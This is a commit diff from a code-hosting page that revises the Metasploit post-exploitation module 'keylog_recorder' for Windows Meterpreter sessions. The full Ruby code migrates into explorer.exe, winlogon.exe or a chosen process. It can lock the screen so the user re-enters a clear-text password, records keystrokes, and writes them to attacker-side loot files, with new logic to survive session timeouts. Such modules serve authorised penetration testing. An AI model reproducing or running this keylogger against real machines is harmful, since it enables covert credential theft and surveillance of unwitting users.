Update for windows keylog_recorder
parent
b13d0f879a
commit
9cb9a2f69d
|
@ -22,10 +22,11 @@ class MetasploitModule < Msf::Post
|
||||||
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
|
to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon
|
||||||
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
|
option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN
|
||||||
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
|
option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text
|
||||||
password.
|
password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
||||||
|
'Josh Hale <jhale85446[at]gmail.com>'],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
'SessionTypes' => [ 'meterpreter', ]
|
'SessionTypes' => [ 'meterpreter', ]
|
||||||
|
|
||||||
|
@ -34,7 +35,7 @@ class MetasploitModule < Msf::Post
|
||||||
[
|
[
|
||||||
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
|
OptBool.new('LOCKSCREEN', [false, 'Lock system screen.', false]),
|
||||||
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
|
OptBool.new('MIGRATE', [false, 'Perform Migration.', false]),
|
||||||
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes', 5]),
|
OptInt.new( 'INTERVAL', [false, 'Time interval to save keystrokes in seconds', 5]),
|
||||||
OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]),
|
OptInt.new( 'PID', [false, 'Process ID to migrate to', nil]),
|
||||||
OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID',
|
OptEnum.new('CAPTURE_TYPE', [false, 'Capture keystrokes for Explorer, Winlogon or PID',
|
||||||
'explorer', ['explorer','winlogon','pid']])
|
'explorer', ['explorer','winlogon','pid']])
|
||||||
|
@ -42,41 +43,66 @@ class MetasploitModule < Msf::Post
|
||||||
], self.class)
|
], self.class)
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false])
|
OptBool.new('ShowKeystrokes', [false, 'Show captured keystrokes', false]),
|
||||||
|
OptEnum.new('TimeOutAction', [true, 'Action to take when Session Communication Timeout occurs.',
|
||||||
|
'wait', ['wait','exit']])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Run Method for when run command is issued
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
print_status("Executing module against #{sysinfo['Computer']}")
|
print_status("Executing module against #{sysinfo['Computer']}")
|
||||||
if datastore['MIGRATE']
|
if datastore['MIGRATE']
|
||||||
case datastore['CAPTURE_TYPE']
|
if datastore['CAPTURE_TYPE'] == "pid"
|
||||||
when "explorer"
|
if !migrate_pid(datastore['PID'], session.sys.process.getpid)
|
||||||
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
|
print_error("Unable to migrate to given PID. Using Explorer instead.")
|
||||||
when "winlogon"
|
return unless process_migrate
|
||||||
process_migrate(datastore['CAPTURE_TYPE'],datastore['LOCKSCREEN'])
|
|
||||||
when "pid"
|
|
||||||
if datastore['PID'] and has_pid?(datastore['PID'])
|
|
||||||
pid_migrate(datastore['PID'])
|
|
||||||
else
|
|
||||||
print_error("If capture type is pid you must provide a valid one")
|
|
||||||
return
|
|
||||||
end
|
end
|
||||||
|
else
|
||||||
|
return unless process_migrate
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
if startkeylogger
|
lock_screen if datastore['LOCKSCREEN'] && get_process_name == "winlogon.exe"
|
||||||
keycap(datastore['INTERVAL'],set_log)
|
|
||||||
|
if start_keylogger
|
||||||
|
@logfile = set_log
|
||||||
|
keycap
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns the path name to the stored loot filename
|
# Initial Setup values
|
||||||
|
#
|
||||||
|
# @return [void] A useful return value is not expected here
|
||||||
|
def setup
|
||||||
|
@logfile = nil
|
||||||
|
@timed_out = false
|
||||||
|
@timed_out_age = nil # Session age when it timed out
|
||||||
|
@interval = datastore['INTERVAL'].to_i
|
||||||
|
@wait = datastore['TimeOutAction'] == "wait" ? true : false
|
||||||
|
|
||||||
|
if @interval < 1
|
||||||
|
print_error("INTERVAL value out of bounds. Setting to 5.")
|
||||||
|
@interval = 5
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function sets the log file and loot entry.
|
||||||
|
#
|
||||||
|
# @return [StringClass] Returns the path name to the stored loot filename
|
||||||
def set_log
|
def set_log
|
||||||
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes")
|
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log from #{get_process_name} on #{sysinfo['Computer']} with user #{client.sys.config.getuid} started at #{Time.now.to_s}\n\n", "keystrokes.txt", "User Keystrokes")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# This writes a timestamp event to the output file.
|
||||||
|
#
|
||||||
|
# @return [void] A useful return value is not expected here
|
||||||
|
def time_stamp(event)
|
||||||
|
file_local_write(@logfile,"\nKeylog Recorder #{event} at #{Time.now.to_s}\n\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
# This locks the Windows screen if so requested in the datastore.
|
||||||
|
#
|
||||||
|
# @return [void] A useful return value is not expected here
|
||||||
def lock_screen
|
def lock_screen
|
||||||
print_status("Locking the desktop...")
|
print_status("Locking the desktop...")
|
||||||
lock_info = session.railgun.user32.LockWorkStation()
|
lock_info = session.railgun.user32.LockWorkStation()
|
||||||
|
@ -87,116 +113,248 @@ class MetasploitModule < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Method to Migrate in to Explorer process to be able to interact with desktop
|
# This function returns the process name that the session is running in.
|
||||||
def process_migrate(captype,lock)
|
#
|
||||||
print_status("Migration type #{captype}")
|
# Note: "session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
|
||||||
#begin
|
#
|
||||||
if captype == "explorer"
|
# @return [String Class] the session process's name
|
||||||
process2mig = "explorer.exe"
|
# @return [NilClass] Session match was not found
|
||||||
elsif captype == "winlogon"
|
def get_process_name
|
||||||
|
processes = client.sys.process.get_processes
|
||||||
|
processes.each do |proc|
|
||||||
|
if proc['pid'] == session.sys.process.getpid
|
||||||
|
return proc['name']
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function evaluates the capture type and migrates accordingly.
|
||||||
|
# In the event of errors, it will default to the explorer capture type.
|
||||||
|
#
|
||||||
|
# @return [TrueClass] if it successfully migrated
|
||||||
|
# @return [FalseClass] if it failed to migrate
|
||||||
|
def process_migrate
|
||||||
|
captype = datastore['CAPTURE_TYPE']
|
||||||
|
|
||||||
|
if captype == "winlogon"
|
||||||
if is_uac_enabled? and not is_admin?
|
if is_uac_enabled? and not is_admin?
|
||||||
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
|
print_error("UAC is enabled on this host! Winlogon migration will be blocked. Using Explorer instead.")
|
||||||
|
else
|
||||||
end
|
return migrate(get_pid("winlogon.exe"), "winlogon.exe", session.sys.process.getpid)
|
||||||
process2mig = "winlogon.exe"
|
|
||||||
if lock
|
|
||||||
lock_screen
|
|
||||||
end
|
|
||||||
else
|
|
||||||
process2mig = "explorer.exe"
|
|
||||||
end
|
|
||||||
# Actual migration
|
|
||||||
mypid = session.sys.process.getpid
|
|
||||||
session.sys.process.get_processes().each do |x|
|
|
||||||
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
|
|
||||||
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}...")
|
|
||||||
session.core.migrate(x['pid'].to_i)
|
|
||||||
print_status("Migration successful!!")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return true
|
|
||||||
|
return migrate(get_pid("explorer.exe"), "explorer.exe", session.sys.process.getpid)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Method for migrating in to a PID
|
# This function returns the first process id of a process with the name provided.
|
||||||
def pid_migrate(pid)
|
# It will make sure that the process has a visible user meaning that the session has rights to that process.
|
||||||
print_status("\tMigrating into #{pid}...")
|
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
|
||||||
session.core.migrate(pid)
|
#
|
||||||
print_status("Migration successful!")
|
# @return [Fixnum] the PID if one is found
|
||||||
|
# @return [NilClass] if no PID was found
|
||||||
|
def get_pid(proc_name)
|
||||||
|
processes = client.sys.process.get_processes
|
||||||
|
processes.each do |proc|
|
||||||
|
if proc['name'] == proc_name && proc['user'] != ""
|
||||||
|
return proc['pid']
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
# Method for starting the keylogger
|
# This function attempts to migrate to the specified process by Name.
|
||||||
def startkeylogger()
|
#
|
||||||
begin
|
# @return [TrueClass] if it successfully migrated
|
||||||
#print_status("Grabbing Desktop Keyboard Input...")
|
# @return [FalseClass] if it failed to migrate
|
||||||
#session.ui.grab_desktop
|
def migrate(target_pid, proc_name, current_pid)
|
||||||
print_status("Starting the keystroke sniffer...")
|
if !target_pid
|
||||||
session.ui.keyscan_start
|
print_error("Could not migrate to #{proc_name}.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Trying #{proc_name} (#{target_pid})")
|
||||||
|
|
||||||
|
if target_pid == current_pid
|
||||||
|
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||||
return true
|
return true
|
||||||
rescue
|
end
|
||||||
print_error("Failed to start the keystroke sniffer: #{$!}")
|
|
||||||
|
begin
|
||||||
|
client.core.migrate(target_pid)
|
||||||
|
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||||
|
return true
|
||||||
|
rescue ::Rex::RuntimeError => error
|
||||||
|
print_error("Could not migrate to #{proc_name}.")
|
||||||
|
print_error(error.to_s)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Method for writing found keystrokes
|
# This function attempts to migrate to the specified process by PID only.
|
||||||
def write_keylog_data(logfile)
|
#
|
||||||
data = session.ui.keyscan_dump
|
# @return [TrueClass] if it successfully migrated
|
||||||
outp = ""
|
# @return [FalseClass] if it failed to migrate
|
||||||
data.unpack("n*").each do |inp|
|
def migrate_pid(target_pid, current_pid)
|
||||||
fl = (inp & 0xff00) >> 8
|
if !target_pid
|
||||||
vk = (inp & 0xff)
|
print_error("Could not migrate to PID #{target_pid}.")
|
||||||
kc = VirtualKeyCodes[vk]
|
return false
|
||||||
|
|
||||||
f_shift = fl & (1<<1)
|
|
||||||
f_ctrl = fl & (1<<2)
|
|
||||||
f_alt = fl & (1<<3)
|
|
||||||
|
|
||||||
if(kc)
|
|
||||||
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
|
|
||||||
case name
|
|
||||||
when /^.$/
|
|
||||||
outp << name
|
|
||||||
when /shift|click/i
|
|
||||||
when 'Space'
|
|
||||||
outp << " "
|
|
||||||
else
|
|
||||||
outp << " <#{name}> "
|
|
||||||
end
|
|
||||||
else
|
|
||||||
outp << " <0x%.2x> " % vk
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
sleep(2)
|
if !has_pid?(target_pid)
|
||||||
if not outp.empty?
|
print_error("Could not migrate to PID #{target_pid}. Does not exist!")
|
||||||
print_good("Keystrokes captured #{outp}") if datastore['ShowKeystrokes']
|
return false
|
||||||
file_local_write(logfile,"#{outp}\n")
|
end
|
||||||
|
|
||||||
|
print_status("Trying PID: #{target_pid}")
|
||||||
|
|
||||||
|
if target_pid == current_pid
|
||||||
|
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||||
|
return true
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
# Method for Collecting Capture
|
|
||||||
def keycap(keytime, logfile)
|
|
||||||
begin
|
begin
|
||||||
rec = 1
|
client.core.migrate(target_pid)
|
||||||
#Creating DB for captured keystrokes
|
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
|
||||||
print_status("Keystrokes being saved in to #{logfile}")
|
return true
|
||||||
#Inserting keystrokes every number of seconds specified
|
rescue ::Rex::RuntimeError => error
|
||||||
print_status("Recording keystrokes...")
|
print_error("Could not migrate to PID #{target_pid}.")
|
||||||
while rec == 1
|
print_error(error.to_s)
|
||||||
write_keylog_data(logfile)
|
return false
|
||||||
sleep(keytime.to_i)
|
|
||||||
end
|
|
||||||
rescue::Exception => e
|
|
||||||
print_status "Saving last few keystrokes..."
|
|
||||||
write_keylog_data(logfile)
|
|
||||||
print_status("#{e.class} #{e}")
|
|
||||||
print_status("Stopping keystroke sniffer...")
|
|
||||||
session.ui.keyscan_stop
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def cleanup
|
# This function starts the keylogger
|
||||||
session.ui.keyscan_stop rescue nil
|
#
|
||||||
|
# @return [TrueClass] keylogger started successfully
|
||||||
|
# @return [FalseClass] keylogger failed to start
|
||||||
|
def start_keylogger
|
||||||
|
session.ui.keyscan_stop rescue nil #Stop keyscan if it was already running for some reason.
|
||||||
|
begin
|
||||||
|
print_status("Starting the keylog recorder...")
|
||||||
|
session.ui.keyscan_start
|
||||||
|
return true
|
||||||
|
rescue
|
||||||
|
print_error("Failed to start the keylog recorder: #{$!}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# This function dumps the keyscan and uses the API function to parse
|
||||||
|
# the extracted keystrokes.
|
||||||
|
#
|
||||||
|
# @return [void] A useful return value is not expected here
|
||||||
|
def write_keylog_data
|
||||||
|
output = session.ui.keyscan_extract(session.ui.keyscan_dump)
|
||||||
|
|
||||||
|
if not output.empty?
|
||||||
|
print_good("Keystrokes captured #{output}") if datastore['ShowKeystrokes']
|
||||||
|
file_local_write(@logfile,"#{output}\n")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function manages the key recording process
|
||||||
|
# It stops the process if the session is killed or goes stale
|
||||||
|
#
|
||||||
|
# @return [void] A useful return value is not expected here
|
||||||
|
def keycap
|
||||||
|
rec = 1
|
||||||
|
print_status("Keystrokes being saved in to #{@logfile}")
|
||||||
|
print_status("Recording keystrokes...")
|
||||||
|
|
||||||
|
while rec == 1
|
||||||
|
begin
|
||||||
|
sleep(@interval)
|
||||||
|
if session_good?
|
||||||
|
write_keylog_data
|
||||||
|
else
|
||||||
|
if !session.alive?
|
||||||
|
vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
|
||||||
|
rec = 0
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue::Exception => e
|
||||||
|
if e.class.to_s == "Rex::TimeoutError"
|
||||||
|
@timed_out_age = get_session_age
|
||||||
|
@timed_out = true
|
||||||
|
|
||||||
|
if @wait
|
||||||
|
time_stamp("timed out - now waiting")
|
||||||
|
vprint_status("Session: #{datastore['SESSION']} is not responding. Waiting...")
|
||||||
|
else
|
||||||
|
time_stamp("timed out - exiting")
|
||||||
|
print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
|
||||||
|
rec = 0
|
||||||
|
end
|
||||||
|
elsif e.class.to_s == "Interrupt"
|
||||||
|
print_status("User interrupt.")
|
||||||
|
rec = 0
|
||||||
|
else
|
||||||
|
print_error("Keylog recorder on session: #{datastore['SESSION']} encountered error: #{e.class} (#{e}) Exiting...")
|
||||||
|
@timed_out = true
|
||||||
|
rec = 0
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function returns the number of seconds since the last time
|
||||||
|
# that the session checked in.
|
||||||
|
#
|
||||||
|
# @return [Integer Class] Number of seconds since last checkin
|
||||||
|
def get_session_age
|
||||||
|
return Time.now.to_i - session.last_checkin.to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function makes sure a session is still alive acording to the Framework.
|
||||||
|
# It also checks the timed_out flag. Upon resume of session it resets the flag so
|
||||||
|
# that logging can start again.
|
||||||
|
#
|
||||||
|
# @return [TrueClass] Session is still alive (Framework) and not timed out
|
||||||
|
# @return [FalseClass] Session is dead or timed out
|
||||||
|
def session_good?
|
||||||
|
return false if !session.alive?
|
||||||
|
if @timed_out
|
||||||
|
if get_session_age < @timed_out_age && @wait
|
||||||
|
time_stamp("resumed")
|
||||||
|
@timed_out = false #reset timed out to false, if module set to wait and session becomes active again.
|
||||||
|
end
|
||||||
|
return !@timed_out
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function writes off the last set of key strokes
|
||||||
|
# and shuts down the key logger
|
||||||
|
#
|
||||||
|
# @return [void] A useful return value is not expected here
|
||||||
|
def finish_up
|
||||||
|
print_status("Shutting down keylog recorder. Please wait...")
|
||||||
|
|
||||||
|
last_known_timeout = session.response_timeout
|
||||||
|
session.response_timeout = 20 #Change timeout so job will exit in 20 seconds if session is unresponsive
|
||||||
|
|
||||||
|
begin
|
||||||
|
write_keylog_data
|
||||||
|
rescue::Exception => e
|
||||||
|
print_error("Keylog recorder encountered error: #{e.class.to_s} (#{e.to_s}) Exiting...") if e.class.to_s != "Rex::TimeoutError" #Don't care about timeout, just exit
|
||||||
|
session.response_timeout = last_known_timeout
|
||||||
|
return
|
||||||
|
end
|
||||||
|
session.ui.keyscan_stop rescue nil
|
||||||
|
session.response_timeout = last_known_timeout
|
||||||
|
end
|
||||||
|
|
||||||
|
# This function cleans up the module.
|
||||||
|
# finish_up was added for a clean exit when this module is run as a job.
|
||||||
|
#
|
||||||
|
# Known Issue: This appears to run twice when killing the job. Not sure why.
|
||||||
|
# Does not cause issues with output or errors.
|
||||||
|
#
|
||||||
|
# @return [void] A useful return value is not expected here
|
||||||
|
def cleanup
|
||||||
|
finish_up if session_good?
|
||||||
|
time_stamp("exited")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue